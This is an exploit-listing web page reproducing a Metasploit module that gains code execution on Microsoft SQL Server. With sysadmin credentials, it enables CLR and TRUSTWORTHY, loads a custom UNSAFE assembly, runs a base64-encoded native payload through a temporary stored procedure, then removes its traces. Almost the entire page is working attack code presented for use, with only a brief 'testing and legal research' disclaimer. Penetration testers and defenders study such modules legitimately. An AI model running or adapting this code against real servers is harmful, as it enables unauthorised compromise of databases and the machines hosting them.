Advertisement






Microsoft SQL Server Clr Stored Procedure Payload Execution

CVE Category Price Severity
CVE-XXXX-XXXX CWE-XXX $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2017-02-18
CPE
cpe:cpe:/a:microsoft:sql_server
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H 0.0235 0.81535

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017020181

Below is a copy:

Microsoft SQL Server Clr Stored Procedure Payload Execution##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
      'Description'    => %q{
        This module executes an arbitrary native payload on a Microsoft SQL
        server by loading a custom SQL CLR Assembly into the target SQL
        installation, and calling it directly with a base64-encoded payload.

        The module requires working credentials in order to connect directly to the
        MSSQL Server.

        This method requires the user to have sufficient privileges to install a custom
        SQL CRL DLL, and invoke the custom stored procedure that comes with it.

        This exploit does not leave any binaries on disk.

        Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
      },
      'Author'         =>
        [
          'Lee Christensen',  # original idea/research
          'Nathan Kirk',      # extra research/blog post
          'OJ Reeves'         # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
        ],
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 1999'
    ))

    register_options(
      [
        OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
      ])
  end

  def check
    unless mssql_login_datastore(datastore['DATABASE'])
      vprint_status('Invalid SQL Server credentials')
      return Exploit::CheckCode::Detected
    end

    version = get_sql_version_string

    unless version =~ /Server 20(05|08|12|14|16)/
      vprint_status('Unsupported version of SQL Server')
      return Exploit::CheckCode::Safe
    end

    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  ensure
    disconnect
  end

  def get_sql_version_string
    mssql_query("select @@version", false)[:rows].first[0]
  end

  def get_sql_architecture(sql_version_string)
    if sql_version_string =~ /(64-bit|x64)/i
      ARCH_X64
    else
      ARCH_X86
    end
  end

  def get_exploit_version(sql_version_string)
    # keeping it simple at this point.
    if sql_version_string =~ /Server (2005|2008|2012)/
      'v3.5'
    else
      # assume 2014/2016 at this point.
      'v4.0'
    end
  end

  def set_trustworthy(on)
      mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
  end

  def is_trustworthy
    # SQLi in MSF!! OMG!
    result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
    result[:rows][0] == 'ON'
  end

  def enable_clr(enable)
    query = %Q^
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
RECONFIGURE;
    ^
    mssql_query(query, false)
  end

  def is_clr_enabled
    result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
    result[:rows][0] == 'ON'
  end

  def exploit
    unless mssql_login_datastore(datastore['DATABASE'])
      fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
    end

    unless mssql_is_sysadmin
      fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
    end

    # This module will only support 'thread' for EXITFUNC
    # Bad things happen to SQL otherwise!
    unless datastore['EXITFUNC'] == 'thread'
      print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
      datastore['EXITFUNC'] = 'thread'
    end

    sql_version = get_sql_version_string
    vprint_status("Target SQL Version is:\n#{sql_version}")

    sql_arch = get_sql_architecture(sql_version)
    unless payload.arch.first == sql_arch
      fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
    end

    trustworthy = is_trustworthy
    clr_enabled = is_clr_enabled

    unless trustworthy
      print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
      set_trustworthy(true)
    end

    unless clr_enabled
      print_status('Database does not have CLR support enabled, enabling ...')
      enable_clr(true)
    end

    exploit_version = get_exploit_version(sql_version)
    print_status("Using version #{exploit_version} of the Payload Assembly")
    exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
                                    'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
    vprint_status("Using #{exploit_file_path}")

    assembly = ::File.read(exploit_file_path)

    # Convert the assembly to the required format for execution of the stored
    # procedure to create the custom stored proc
    hex_assembly = "0x#{assembly.unpack('H*')[0]}"
    asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"

    print_status('Adding custom payload assembly ...')
    mssql_query(query, false)

    proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
    query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"

    print_status('Exposing payload execution stored procedure ...')
    mssql_query(query, false)

    # Generate the base64 encoded payload
    b64payload = Rex::Text.encode_base64(payload.encoded)
    query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
    print_status('Executing the payload ...')
    mssql_query(query, false)

    print_status('Removing stored procedure ...')
    mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)

    print_status('Removing assembly ...')
    mssql_query("DROP ASSEMBLY [#{asm_name}]", false)

    unless clr_enabled
      print_status('Restoring CLR setting ...')
      enable_clr(false)
    end

    unless trustworthy
      print_status('Restoring Trustworthy setting ...')
      set_trustworthy(false)
    end

  ensure
    disconnect
  end

end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum